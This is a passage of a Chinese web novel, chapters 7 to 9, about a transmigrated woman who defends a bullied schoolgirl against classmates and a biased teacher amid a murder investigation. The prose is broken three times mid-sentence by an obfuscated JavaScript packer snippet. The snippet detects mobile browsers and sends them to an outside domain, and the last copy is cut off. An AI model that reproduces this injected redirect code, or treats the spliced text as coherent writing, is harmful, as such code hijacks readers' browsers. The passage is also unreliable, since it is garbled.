就在谢柏雅以为方映秋的情绪波动到她即将可以接管身体时,等她们踏进王胜梅的家,方映秋的情绪却渐渐平和起来。 谢柏雅:……? 什么情况?只对着小区和房门激动? 但这样一来,她便没有机会争取控制权,本还想在王胜梅家搜寻些线索,如今也只能乖乖跟着进屋,规规矩矩地坐着。 王胜梅老师给她拿了一双拖鞋,又去烧了热水,准备了一次性洗漱用品,还贴心地准备了睡衣,将她领进了一间次卧。 一开门,谢柏雅便注意到,这个房间应该是曾经住过人的,还很可能是一个孩子,女孩子。 ——王胜梅的女儿? 墙上有一块方形的白色印记,像是本来挂着方形的画框,却被取了下来,按照常理推断,很有可能是儿童的照片。 房间看上去长时间无人居住,但却没有灰尘,连床上四件套都仿佛在定期更换。 “你今晚先住这里,浴室可以用,换洗衣服给你放这里了,明天我带你一起去上学。” 生活中的王老师与课堂上侃侃而谈的她并不相像,又或许是如今夜色已深,她满身疲惫,没有与方映秋多说什么,只是简单嘱咐了几句过后,便离开了这间房间。 方映秋小心翼翼地拿着东西,尽可能在不动原有东西的情况下,简单地进行了洗漱。 没几分钟,房门被敲响,她一愣,嗫嚅道,“请、请进。” 王胜梅疲惫的面孔在门口出现,只是简单叮嘱了一句,“伤口不要碰水。” 谢柏雅一愣,这老师是突然想起来这事,特意敲门进来提醒她? “啊、啊好的……王老师,这里是您家,您、您进这个房间不用敲门。”方映秋垂着眼眸,轻轻开口。 王胜梅愣了愣,也没说什么,便离开了房间。 方映秋换过干净衣服后,也终于躺进了松软的床铺,盖上足以保暖的被子,闭上了眼。 [不是……就这么睡了??] [我的天,关键线索都送上门了!起来调查啊!!你这个年纪你怎么睡得着啊!!] [确信了……此刻应该是小白花在控制身体,如果是我们熟悉的方姐,这个时候怕是已经把地板都掀开调查过了。] 弹幕这次倒是当了一次嘴替,谢柏雅的好奇心确实已经快溢了出来,她对王胜梅、对王胜梅的房子,甚至对这间卧室都有太多好奇,更重要的是,王胜梅明显和方映秋的死亡进度有强烈的关…… 等等? 谢柏雅看着系统面板上的数值,【死亡进度:76%】。 ……怎么又降了? 谢柏雅思考了一下,难道是之前王胜梅虽然有些冷硬,但却十分体贴的关心,让方映秋感受到了温暖? 但这放在其他人身上似乎很正常,但如果是王胜梅——那个光是出现,就两次导致死亡进度涨进的角色,又显得不那么合理。 可惜谢柏雅没有了继续思考的机会,她和方映秋共用一副身体,方映秋陷入了睡眠,谢柏雅也跟着失去了意识。 第二天早晨,方映秋起床的时候,王胜梅已经做好了早饭,放到了桌子上。 谢柏雅一惊——她昨天顺带观察了一眼,这个房子的厨房明显已经许久没有开火了,而桌上的早餐,明显也不是早餐店买的。 王胜梅早起给方映秋做饭了? 如果只是临时收留一个同学住一晚,为什么能做到这个地步? 难道……是和王胜梅家中消失的小女孩有关? “吃完了?走吧。” 王胜梅换好衣服走出房间,见方映秋已经吃完早餐,便招呼了一声,语调依旧冷淡,但映着如此晨光与早餐,方映秋几乎快感动地落下泪来。 谢柏雅看着系统面板的数字,死亡进度降到了新低,70%。 看来……王胜梅虽然可能是关键人物,却并不一定是促成方映秋最后“死亡”的直接原因。 但既然如此,为什么两次见到王胜梅,这数字都会涨?还有进入小区时,方映秋那复杂的心情…… 谢柏雅觉得,自己之前的推论,似乎有一部分要推翻重来了。 * 第二天一早,高二(8)班教室。 “……对,她昨晚没有回宿舍,应该是偷偷跑出去了!” “我就说,她看着文文弱弱的,没准就是个死白莲!谁知道是不是偷偷翻墙出去幽会了!” 窃窃低语如风一般在教室中传递,大有一副愈演愈烈的趋势,但下一秒,教室门被推开了。 谣言中心的主人公背着书包站在了门口,方映秋眼下两个深重的黑眼圈,精神看着也不太好,显然昨晚没有休息好。 ——最重要的是,她的身上没有穿校服。 在这样管教森严的寄宿学校,晚上偷溜出宿舍、夜不归宿,早晨回来又没有穿校服……几乎没有比这更值得传播的流言了。 于是,班级里静了一瞬,下一秒却陷入了更嘈杂的低语声。 方映秋低着头,拉着书包,默默绕过了各类窃窃私语,走向了自己角落里的位置。 谢柏雅冷眼看着这一切,她本以为昨天那场立威,已经足以让方映秋安生一段时间——但很可惜,这群小兔崽子似乎不会吸取教训。 更何况,她看到了几个不熟悉的生面孔,想来是昨天的课间没有回到教室,赶着晚自习打铃才回来的,倒是错过了那场好戏。 比如现在眼前这个悄悄拉开她座椅的女生。 好在方映秋似乎被欺负惯了,她习惯性地先摸了一下底下有没有座位,自然发现了被拉开的椅子。 她回头,看到了那个笑得嘲讽又嚣张的女生,低着头,仍旧是平日里一派懦弱的表现。 “可、可以把椅子还给我吗?” 那女生自然不愿意,她“砰”一声放下了椅子,“还给你什么?座位?” 方映秋咬着下唇,点了点头。 “什么座位?你在我们班级居然还想有座位吗?”十分阴阳怪气的语调,“半夜爬墙出去幽会,还不穿校服来上学,你把我们班分都扣光了你知不知道!你这样是在丢我们全班的脸!” 方映秋顺着她的话解释:“我、我没有……没有……幽会……” “哈?不是幽会?” 四周响起了大量嘘声,那女生继续问:“那你说说,你半夜爬墙出去干嘛了?” “我、我……”这下方映秋却解释不出来了。 “你说啊!如果不是幽会,你就说出来啊!你看,没话说了吧?你怎么这么不知检点啊!” “对啊对啊,大半夜爬墙出去的事都干得出,就这么等不急吗?就这么饥渴吗?!” 眼看那些话越来越难听,方映秋眼中急出了眼泪,“我没有、我真的没有!”却也解释不出更多内容。 谢柏雅看着再度开始上涨的死亡进度,难得觉得有些心累。 原主这个性格,实在是太难办了。 自己前面两次立威,都没能让方映秋意识到,遇到这样的事,苍白的言语辩解,永远没有坚定的还击来的有用。 这样的事,谢柏雅已经见得太多——当年她以超龄的智商一路跳级,无论在哪个年纪都显得格格不入,自然也经历了不少类似的事。 未成年孩子的心智与感情,相对成年人而言,更纯粹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428681|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与极端。所以,未成年的恶意也是那样不加掩饰的,纯粹而炽烈。 谢柏雅已经太清楚这一点。 面对这样无由来的恶意与欺凌,只有一个途径。 可惜……方映秋似乎从来不明白这一点。 就在谢柏雅再度想要夺取控制权的时候,教室的门再度被推开,“砰”地一声,带着怒气的开门声打断了班级里稀稀拉拉的嘲笑。 王胜梅拿着一个洗衣袋走了进来,绕过所有学生,走向了方映秋,“方同学,你校服忘记拿了。” “校、校服?”旁边的女生一愣,“王老师,她、她昨晚……校服……” 王胜梅冷着脸,“方同学昨晚在我家借住,今天上学的时候忘记拿了校服,有什么问题吗?” 刚刚还造谣得起劲的男生女生们突然没了话,一个个低下头,不敢再开口。 王胜梅看了看面色通红的方映秋,扶了扶眼镜,目光扫过刚刚叫的最起劲的几个学生,一一点名。 “你、你、还有你,随意传播不实谣言,对同学造成伤害,还恶意破坏同学的文具……”王胜梅点了点方映秋开裂的笔盒。 谢柏雅:……啊,这个,其实是她昨天打蜘蛛的时候敲裂的来着。 但细究起来,昨天她会把笔盒敲裂,也和这群小兔崽子脱不开关系。 “每个人写两百字检讨,大课间晨会时,上去当着全校的面朗读!” 说完,王胜梅老师将方映秋的校服妥帖地放到了她手里,正想从教室后门离开,却突然和前来上课的陈国方老师打了个照面。 “这是怎么了?” 陈国方见整个教室情况不对,除了方映秋几乎天天一副瑟缩的哭相之外,居然有其他几个同学也快哭了,像是被欺负了一样,开口询问。 王胜梅冷着脸将事情经过简短复述了一遍。 陈国方看着那几个被她点名的学生,笑了笑,摆摆手,“王老师,消消气,多大的事,当着全校面朗读我看就不必了,就写份检讨……” 王胜梅打断他,“陈主任,这是校规。” 陈国方似乎铁了心和稀泥,伸手拍了拍旁边一个学生的头。 “这几个同学学习都不错,一时犯了错也是可以原谅的嘛,实在不行,多写几百字检讨,但是就别让他们当着全校面朗读了……毕竟都是些年轻的小孩子,脸皮薄,总归要面子的嘛。” 王胜梅皱眉,刚想再说什么,就听旁边一个平日里柔弱惯了的声音开口。 “陈老师,那我呢?” 谁也没想到在两个老师说话的时候,一个学生突然敢插一句嘴,而那个学生还是……那个一直文文弱弱畏畏缩缩的方映秋?? 陈国方没明白她的问题:“什么你呢?” “那我呢?” 教室角落里,一脸苍白的方映秋轻轻开口,她抬头,看向了陈国方。 “我不是您口中‘年轻的小孩子’吗?我不需要拥有自己的尊严,不可以在被欺凌、被造谣时反击,并要求这些加害者得到应有的惩罚吗?陈老师?” 陈国方脸色一变,似乎不习惯一向沉默的方映秋对他这个态度,和蔼的脸上第一次出现了“不悦”的情绪,却也只有瞬间,转瞬便换上了惯常的面孔。 “他们已经知道错了,也会写检讨……” 谢柏雅打断他,尽量克制着自己的眼神,让自己不至于太过招摇,“两百字检讨,大课间时当着全校面朗读——陈老师,王老师刚刚已经说了,这是校规。” 陈国方从没被学生这么打断与忤逆过,只沉默了片刻,突然冷笑一声。 “好,方同学要和老师讲校规了。” 他走到讲台上,将手中的试卷和教具“砰”一声砸在讲桌上,似乎要立威般,看向方映秋,语调依旧和蔼,却森冷,“那么,夜不归宿、翻墙出校园,早晨上学不穿校服,噢,学校还收到通知……昨天凌晨,王老师是把你从警察局接出来的。” 这话一出,全班哗然。 ——对于这个年龄段的学生来说,“进警察局”简直是天塌的大事了。 方映秋到底做了什么,被带去了警局,还让学校去领人? 一时间,猜忌、幸灾乐祸、鄙视的目光纷纷而至,刺向了方映秋。 在全班的猜疑中,陈国方依旧笑得一派儒雅:“方同学,五百字检讨,大课间晨会时,上去当着全校的面朗读,你认吗?” “陈老师,昨天警局的事不是方映秋……”王老师还想解释,但却突然被一只冰凉的手拉住。 她低头,看到拉着她的人,正是方映秋。 那个女孩眼中闪烁着她看不懂的冷光,直直地与讲台上的陈国方对上了视线。 “我认。”她唇边勾起一个笑,“五百字检讨,希望陈老师到时……能满意。” 陈国方笑道:“只要学生真心认错,老师当然会满意。” 谢柏雅垂下眼,不再说话。 她刚刚想说的,自然不是什么“能满意”,而是…… ——希望陈老师到时……不要后悔。 8. 第 8 章 早自习在这么一片诡异的氛围中开始,陈国方站在讲台上,目光扫视着整个高二(8)班的同学。 这是从入学开始他就带的一批学生,可以说没有人比他更了解这个班级中每个面孔,他享受这样通过掌控学生的学习、分数、升学,从而掌握他们整个人生的感觉。 但如今,有一个似乎脱离了他的掌控,他的目光落在角落里的方映秋身上。 那是整个班级最懦弱的学生,也是个存在感不强,却又不可缺少的存在。 存在感不强是因为,她从来不在任何班级活动中扎眼,平日里也不会举手答题,成绩也落于平庸之后,却又没有差到离谱,几乎是扔进人群中一眼就被淹没的存在。 而不可缺少是因为……她是每个班级都有的那种,“底层”学生。 学生时代的孩子总是气血方刚的,自以为掌握了“力量”的诠释,又需要一定途径发泄他们被校园长期压抑的“本性”。 每个班都有一两名这样的“底层”学生,他们的存在,就是成为那些被发泄的对象。 ——陈国方对此已经见怪不怪,甚至有意放纵。 校园是个小社会,适应不了达尔文法则的人,自然无法生存下去。 但今天,这个方映秋超出了他的掌控——她学会反抗了。 比起这女孩不痛不痒的几句话语,这种“超出掌握”的感觉更让陈国方不爽。 更何况,这个女孩……陈国方微微垂眸,目光落在讲台上的粉笔上,洁白、崭新,沉吟良久。 谢柏雅正在看着方映秋写检讨,而可笑的是,比起那些欺凌她的人的两百字检讨,她这个被害者需要写的检讨字数却整整翻了一倍不止。 方映秋的整个早自习都用来写那五百字的检讨了。 谢柏雅看着方映秋一边擦眼泪一边默默写,有心想做些什么却又无能为力——不过好在,经过这两天,方映秋的情绪似乎稳定了很多,至少她的死亡进度没有随着这哭泣慢慢升高。 检讨写完,自然是要拿给台上的陈国方看,那几个欺负她的已经陆陆续续上去交了检讨,陈国方看后满意地点头。 “行,一会儿晨会就按照这个念就行了,就当是个锻炼的机会。” 锻炼什么?锻炼这群兔崽子的厚脸皮吗?谢柏雅无不嘲讽地想到。 最后,方映秋的检讨上交,陈国方嘴角的笑容明显淡了两分,只是扫了两眼,却在看到草稿纸上未干的泪渍时,重新加深了笑容。 “方同学的也还行,一会儿就照着念吧,五百字的时间不短,”陈国方将检讨递回给方映秋,“但你放心,老师会给你留出充足的时间的。” 方映秋低着头,嗫嚅道:“谢谢老师。” [小白花到底在谢个p啊,这老师就是针对她啊!] [陈:他还得谢谢咱呢。但这剧情是不是不对啊?以前有碰到过陈国方刁难小白花的事吗?] [这个本我看过三四遍了,很确定地告诉楼上,没有过这样的事。] [有没有可能,以前这本抽到方映秋的玩家都没活到这时候……] [你别说你还真别说,基本上所有玩家都活不过第一晚,还没见过活得这么长的。] 谢柏雅一边等着方映秋上课,一边有一搭没一搭地从弹幕上汲取一些有用的信息。 但目前来看,“从弹幕上获得之后的剧情”这想法基本没法实现了。看他们的意思,自己已经是用“方映秋”这个角色活的最长的了。 不过想想也是,这个角色接入的时候死亡进度已经80%了,按当时的情况,就算在校门口被收保费、又在教室里被扔蜘蛛群嘲后方映秋的自杀欲望没有拉满,在半夜收到纸条去赴约后,多半也该死在那个小混混的手下了。 看来不管是方映秋本人,还是抽到这个角色的玩家,都是地狱开局啊。 终于捱过了早晨的三节课,大课间到了,学生们排着队去操场做操,早操完毕,教导主任陈国方走上主席台,清了清嗓子。 象征性地过了一些激励学生的客套话后,他终于进入了今天的正题。 “接下来,全校通报今天违反校规的几名同学,首先是三位违规在教室打闹、破坏公物、损坏同学个人物品的同学……”一一报了那几个霸凌方映秋的名字后,陈国方话锋一转,目光扫向隐没在人群中的方映秋。 “然后重点批评高二(8)班的方映秋同学!在没有假条、未打报告的情况下在夜间违规离校,与校外人员牵扯、卷入刑事案件,在警方介入的情况下,拒绝提供证据,破坏学校声誉、损害同校所有学生形象……” 好一段春秋笔法拉满、颠倒黑白的通报啊! 谢柏雅冷笑出声,这一长串罪名扣下,只有最开始违规离校勉强算是实话。 方映秋经历了严重的刑事案件导致逆行性失忆,这是警方都认定的事,到了这人嘴里,就成了“拒绝向警方提供刑事案件的证据”了。 这一番话下来,以方映秋目前的心理状况而言,毫不夸张地说,简直是在把她往死路上逼! 果不其然,这些罪名一扣,全校哗然。 “哇,我确实听说昨天八班有个女生晚上爬墙出去了,但以为是出去找男朋友了……” “我去,居然都涉及刑事案件了,不会是杀人犯吧!” “肯定是啊!不然为什么不给警方提供证据?” “我的天哪……这么严重的事,肯定不止通报处分这么简单吧?退学!肯定要退学啊!” “对啊!这种杀人犯还待在学校做什么?让她退学啊!” “退学!退学!!” “让杀人犯退学!!” 见下面群情激奋,陈国方压下嘴角的笑意,清桑开麦,“同学们先别激动,关于案件详情,警方还在调查中,刚刚警方也联系了学校,希望可以让方同学配合调查。” 说着,他看向了方映秋,“但我们这里是学校,只要方同学还在学校一天,就要遵守校规,所以,接下来就让方同学上台检讨!” 谢柏雅看着在这一波连招下,死亡进度直接攀上87%的面板,在方映秋几近崩溃的情绪下,如常拿到了身体控制权。 她绕过整个班级的列队,路过教师队列,似乎不小心被脚下的石头绊了一下,被旁边的徐婉老师扶了一下。 谢柏雅神色如常地谢过徐婉老师,走到主席台上,在底下所有学生刺眼的打量中,打开了手中那份,刚刚已经被陈国方过目的检讨。 “尊敬的各位同学、老师、校长,上午好。” 底下一片嘘声。 不知是谁在喊:“谁要和你当同学!退学!!” 谢柏雅的目光从检讨上抬头,看向那边,“不错,那边那位同学说的很对。” ……哈? 突如其来的一句话,让操场所有人都愣住。 “如果可以选择,我方映秋,齿于和你们这群人当同学!” 场上寂静,像是都没反应过来这一句狠话。 最先有动作的是陈国方,他脸色一变,“方同学,你在说什么!下……” 他说着就走上台,想要把方映秋赶下去,却被对方的目光一扫,在看到那双眸中似笑非笑的神情后,心中一紧。 “陈老师,您先不要激动。既然警方已经联系了学校,案发地点也在学校周边,而重要的目击证人我又是学校的学生,想必也会很快就会派警察前来走访。您是想要在警方面前,剥夺我方映秋——这样一个无意卷入了刑事案件、目睹凶案的重要证人,为案件作证发言的权利吗!” 陈国方脚步一顿,脸色霎时难看起来。 这可真是瞌睡送枕头上门,谢柏雅本就在想,有什么方法可以让老师们不上来抢麦,毕竟她接下来要说的那些话,实在不是很好听。 结果没想到,陈国方自己提起了昨天的案件,既然这样,那就别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428682|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪她将自己高高架起了! 谢柏雅捏紧话筒,继续开口,“夜间擅自离校的违规,我认。但其余的那些,别说是老师们这些成年人,就是底下,你们这些第一时间就跟着起哄、一点脑子都不动的同学,但凡晃一晃你们海浪声的大脑,就能明白一个问题——如果我真的是刑事案件的第一嫌疑人,也就是你们口中的‘杀人犯’,又或是陈老师口中那个‘拒绝提供案件线索’的抗辩者,我方映秋现在,凭什么还能安安稳稳地站在校园里,站在讲台上?” 她嘲讽一笑,“凭这所学校公正无私、毫无包庇的教导主任与校规吗!?” 全校师生鸦雀无声。 “既然让我上台来作检讨,我如你们所愿。” 谢柏雅抽出那张方映秋写了一节课的检讨,对折、再对折,随即“呲啦”一声,狠狠撕开! “我确实该作检讨,并且,早就该作了。”她狠狠扬手,雪白的纸张碎末纷扬落下。 “在被校外不法分子压着收保护费、学校除了王胜梅老师以外,没有任何老师对我们采取庇护措施的时候!” 主席台旁的王胜梅老师扶了扶眼镜,旁边大大小小的老师们微微低头,不置一词。 “在被同班同学当众传谣、霸凌,抽我的椅子、划我的课本,将死蜘蛛扔在我的笔盒里的时候!” 同班同学纷纷低头,李凯亮更是差点把头埋进脖子里。 “在被德高望重的主任颠倒黑白、用春秋笔法,试图当着全校面泼我脏水,将我描述成案件嫌疑人的时候!” 陈国方看着她,脸上和善儒雅的表情维持不住,目中的冰冷之色几乎将她剜出个洞来。 “现在,我方映秋在此反思自己、做出检讨,为什么在校内校外都遭受了那么多不公平对待的时候,在学校老师们拉偏架、以成绩区分同学的时候,在教导主任当着全校的面传播谣言的时候——我,为什么不早点站出来反抗?!” 她听到身体里的方映秋在哭泣。 “一味的妥协忍让,换来的从来不是怜悯与同情,而是一次次更为残暴的霸凌与传谣。人云亦云的人从来不会反思自己,甚至还会反过来责怪我为什么不能考得更高,成为老师眼里‘就算霸凌同学也是好孩子’的学生;责怪我为什么不能更坚强,成为‘那些混混为什么不欺负别人只欺负你’里面的那个‘别人’;责怪我为什么不能做的更完美,成为‘如果你不半夜离校怎么会碰到这种事’的完美受害者。” 她目光扫过台下每一个学生,作为灵魂深处早已成年的人,她不愿过多苛责这些处在成长重要蜕变时段的未成年孩子——最后,她的目光定在了教室队列的方向。 “这就是我们学校的教导方式,这就是我们老师的纵容忍让,这就是他们给我们做的好榜样!” “我在此做出检讨,检讨自己为什么不能早点意识到我该反抗,那这些霸凌我的加害者、纵容霸凌的参与者、煽风点火的旁观者又为什么能独善其身?他们该不该做出检讨?该不该站在这里,向所有被伤害过的人道歉!?” 掷地有声的质问回荡在国旗下,回荡在“教书育人”的横幅下,灿灿金光的校徽下,却无一人能做出回答。 “我的检讨到此为止。”谢柏雅鞠了一躬,放下话筒,缓缓走向台下。 操场外围,正来学校走访的石兴旭看向阳光下的主席台. 主席台上那个瘦弱的身影隔着这么远的距离几乎只有细长一条影子,他看着那个背影,恍惚间,似乎又另一个同样风骨与傲气的身影重合。 “……谢柏雅。”他呢喃出那个名字。 操场上,教师队列的角落里,徐婉偷偷收起录完像的手机,放回口袋里,将汗湿的掌心在外套上蹭了蹭。 低头,她打开那张揉皱的纸张,是刚刚方映秋上台前绊倒时的那一下,偷偷塞给她的——墨迹飞扬凌乱,似乎是在极短的时间内仓促写下的。 ——录像。 9. 第 9 章 一个小时后,育德楼政教处会议室。 她在晨会上那番惊世发言结束后,整个操场在前所未有的寂静中,被黑着脸色上台的陈国方赶回了教室。 而谢柏雅本人,则被叫去会议室“等候宣判”。 她下台时只看到陈国方匆匆走到校长面前,端起赔笑的笑容,似乎在解释这场骚乱。 这所学校的校长平日里几乎不在学校出现,身负当地教育局的任职,对这所学校而言也只是一名挂名校长。 今天会来学校,想必也是听说附近发生了刑事案件,目击者还是学校学生后,才会一大早就赶来。结果没想到还没见到警察,先在晨会上听到了这样精彩的一场演讲。 谢柏雅远远观察了一下这名校长的表情,确信对方脸上并没有多少怒容,有的只是一种……经常出现于那些惯于玩弄权柄的上位者脸上的不满。这样的人不会在意自己下辖的学校里,是否出现什么霸凌惨案,也不会在乎自己学校的学生是否真的是加害者甚至是受害者,他们唯一在意的点就是—— “你怎么能让她把这种事搬到台面上来说!” 路过两人时,谢柏雅清晰地听到了校长对陈国方说的这句话,十分恨铁不成钢的语调。 真是一点都不意外啊。 现在她已经在育德楼会议室等了整整一节课的时间,想着昨天一整夜的奔波经历,她干脆找了个真皮座椅坐下,靠在座位上闭目养神,顺便刷刷弹幕解闷儿。 弹幕从她刚刚上台发言时起,就已经炸锅了。 像那些[牛逼][666][给方姐打call]之类的赞叹之语刷了满屏,刷屏只快速几乎成了残影,谢柏雅连一句话都看不清,只能看到字句在疯狂上滚。 好在她的动态视力还算可以,总算是在大片彩虹屁中还能捕捉一两句关键词。 [666666霸王花就是最牛的!!可惜这只是她的第一局游戏啊!!不然我一定疯狂给她氪金刷礼物啊啊啊啊啊啊啊] [楼上你说出了我的心声啊啊啊啊啊啊为什么不能刷礼物我要刷爆啊啊啊啊] [霸王花的下一局游戏什么时候开始啊啊啊我要蹲点进去给她刷礼物!!] [楼上的一起蹲!拉个群吗!!!] [群已建莫辜负!轮回大厅群聊里搜霸王花粉丝后援会直接加!] [雾草这才几秒钟时间怎么就满人了!200人的群顶个P用啊!!] [一人血书高等级大佬开个2000人的群!!] 谢柏雅:……怎么一会儿不看,弹幕上已经快进到给自己建粉丝群了? 而且什么来历不明的群都加,这群人不怕被电信诈骗吗? 她往上翻了翻,看到了最初的两条弹幕,终于久违地得到了一些关于这个“游戏”的线索。 这是她的第一局游戏,看样子直播间限制颇多,弹幕说的“不能刷礼物”就算是一种。 而这些直播间限制的功能,似乎最快也要到第二次游戏的直播时才能开启。 这游戏还有类似于游戏大厅的功能,还有群聊之类的。 这与她现实中所知道的“游戏”其实十分类似,如果忽略这种超现实的“穿越”之类的,似乎就是个普通游戏。 说起来……这游戏到底是怎么选择玩家的?随机抓人吗? 谢柏雅边想着,边拉开系统面板,本想再寻找些游戏信息,结果下一秒,却在看到某个数值时顿时睁开眼,坐直了身体。 【角色性格与玩家性格契合度:15%,你与角色没有任何灵魂共鸣之处……角色记忆对接失败,角色身体掌控失败,请玩家自行探索!】 虽然后半句的提示没有变,但前面的契合度确实升高了! [????!!!] [卧槽,原来角色的契合度也是可以变的吗!!我直播看得少别骗我!!] [楼上的,我一天20个小时刷直播也没见过这种情况!!] [见鬼了,难道是bug了??] [@GM@GM,你们游戏出bug了!!玩家和角色的契合度判定出bug啦!!] 不仅仅是弹幕,连谢柏雅也怔了一下。 怎么回事?契合度涨了的意思是……她和原主方映秋的“灵魂”更有“共鸣之处”了? 但是怎么会这样?难道她本人的性格渐渐向原主靠近了? ……不可能吧?还是说…… 就在想到这里的时候,一个温柔的女声突然出现在了她的脑海里。 【是的,你想的没错。】 谢柏雅:……! 是原主方映秋的声音。 【不是你的性格靠近了我,是我渐渐被你感染了,谢小姐。】 谢柏雅调整了一下坐姿,缓缓舒了口气,试图在脑中和原主方映秋进行对话。 “你……原来是可以沟通的?” 【正常情况下,是不可以的,但这一次,情况特殊。】 “怎么个特殊法?” 【出于契合度的原因,我可以和你的灵魂同时存在于一个身体里,也就导致了现在的情况。】 谢柏雅皱眉:“你是说……因为最开始我们的契合度太低,我没法控制这具身体,所以你来了?” 【是的,正常的游戏情况下,我们是不被允许重新获得身体的。】 “什么是正常的情况?还有,‘你们’又是指谁?谁能允许你们?是谁在操控你们?” 是系统吗?系统不仅操控了玩家,还操控了角色们?那那些发送弹幕的又是谁? 她一口气问了许多问题,但方映秋都避而不谈。 【总之,非常感谢你的到来,谢小姐。】她的声音很柔和,还带着一些温柔的笑意,【从来没有人站在我这里、替我出头,还教我这些。】 她从小到大受到的教育中,谦恭温驯、不争不抢几乎成了人生信条,即使被欺负到如此境地,也只懂得一味退让,总想着“再忍忍吧”“再忍忍就过去了”。 是谢柏雅让她明白,一味的退让隐忍不能解决任何问题——谢柏雅用她的身体,面对她曾经经历的一切,却用截然不同的处事方式进行了反击,终于让她明白了这个道理。 共居同一身体,没有人比谢柏雅更清楚方映秋的性格与为人,也没有人比她更了解对方经历的一切。 谢柏雅叹了口气,“……不是你的错。” 封闭的校园环境、隐形甚至拖后腿的父母、恶劣的同学,还有那些助纣为虐的老师……一切都让方映秋没有机会去明白这些。 谢柏雅看着系统面板上的数字:【死亡进度:65%】 “那……我现在算是完成任务了吗?如果没有的话,怎么才算完成任务?” 方映秋沉默了一会儿,随即轻声开口,语调中带着歉意,【抱歉,有些事情我不被允许告知你。】 看来,也是她背后操纵的存在不允许。 【我会尽我所有的能力帮助你,虽然还不知道该怎么做……但我会试着不再和你抢夺身体的控制权,不再给你添麻烦。】 “……不必这样,”谢柏雅坚定地拒绝,“这本就是你的身体,你才是方映秋。” 【但你却能让“方映秋”活的更好。】 “但这是你的人生,你应该自己……” 谢柏雅还想再说两句,但走廊外响起的脚步声打断了她和方映秋的对话,下一秒,开门声传来,几名成年人的身影出现在了会议室门口。 谢柏雅扫了一眼,教导主任陈国方、那位挂名的校长、他们班级的班主任王胜梅,甚至还有一面之缘的校医徐阿娣都来了。 而在学校工作人员身后的,是昨天晚上第一个赶到现场的警局队长石兴旭。 “方映秋!”陈国方一看到谢柏雅半躺在座椅上的姿势,就气不打一处来,“我让你来会议室等,是让你来补觉了吗!” 他特意把这不服管教的恶劣学生晾了一节课,就是想要让她好好反思自己的行为,结果她居然在这里安安心心地睡大觉? “好了,陈老师,”校长打断了陈老师的斥责,端起一副和善的面孔,“这位方同学昨天连夜去警局做笔录,没有睡好,好好休息一下,也是应该的嘛。” 如果不是在操场上见识过这校长的另一幅模样,谢柏雅想必会被他这幅和善的模样欺骗……才怪。 嘴角紧绷,法令纹加深,和蔼的笑意不及眼底——所有肢体语言和微表情都在昭示着这校长此刻心中的愤怒。 但毕竟有警察在场,他只能强压住自己内心的怒意,扮演一位好校长。 谢柏雅垂目,也客客气气地打招呼,“校长好,各位老师好,石兴旭好。” 简单打过招呼,所有在会议室的长形会议桌两边坐定,石兴旭开门见山,打开笔记本。 “今天我来主要是两件事,一是为了昨天凌晨在巷口发生的谋杀案,据悉死者和你们学校的学生多有交集,案发现场又和你们学校就一街之隔,所以想来问问老师们有没有什么线索。” 校长笑了笑,“您知道的,我们这里是寄宿学校,不仅学生们,有些家离得远的老师,我们都给安排了单独的教师宿舍。今天早上在接到李队长电话的时候,国方老师就和我说了,我们紧急排查了整个学校所有老师和学生,在校居住的25名老师,和全校所有学生,除了方映秋同学以外,没有人擅自离校。” 石兴旭点了点头,低头记录了两笔,随即开口道:“经过警方初步排查,方映秋同学的嫌疑已经被排除,学校剩下的那些老师,方便接受一下简单的问询吗?” “排除嫌疑?”陈国方愣了一下,“怎么排除的?” 最开始校方接到电话的时候,警方那边的用词还十分模糊,看着像是没有确定方映秋到底是不是清白的,怎么到了这里,突然就成了“排除嫌疑”了? 石兴旭抬头,看向陈国方,淡淡问了一句:“陈老师是被害者家属?” 陈国方怔住,“不是。” 石兴旭重新看向手中的记录本,“那警方没有义务向无关人士披露案件细节。” 陈国方脸上的笑略有些挂不住,却还是开口笑道:“……是这样,就毕竟方同学也是我们的学生,她既然被排除了嫌疑,我们都松了一口气。” 谢柏雅垂眸,压下眼底的嘲弄,淡声开口,“我没有时间抛弃凶器。” 所有人都一愣,看向她,石兴旭倒是没有太多震惊的情绪,只是看向谢柏雅的双目微微眯起。 谢柏雅没有回避,直视了回去。 两秒后,石兴旭错开目光,接口道,“是的。根据昨晚我们第一个到达现场的同事的勘察,当时距离死者的死亡时间不超过10分钟,是方映秋的惊叫声把他叫来的,死者的死因为肺部贯穿伤,凶器是一把刀,我们连夜排查了以案发现场为圆心,10分钟行走所到的距离中,没有疑似凶器的东西。” 也就是说,就算先不考虑“方映秋作为凶手为什么要叫人来发现尸体”这件事,就算从凶器和处理的方向来看,她也不可能是凶手。 谢柏雅若有所思,原来致命伤是刀伤,那看来今天一大早就看到不少警察来学校,也是为了排查凶器。 石兴旭解释完,将纸杯中的水一饮而尽,坐在下座的徐校医拿起热水瓶,替他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 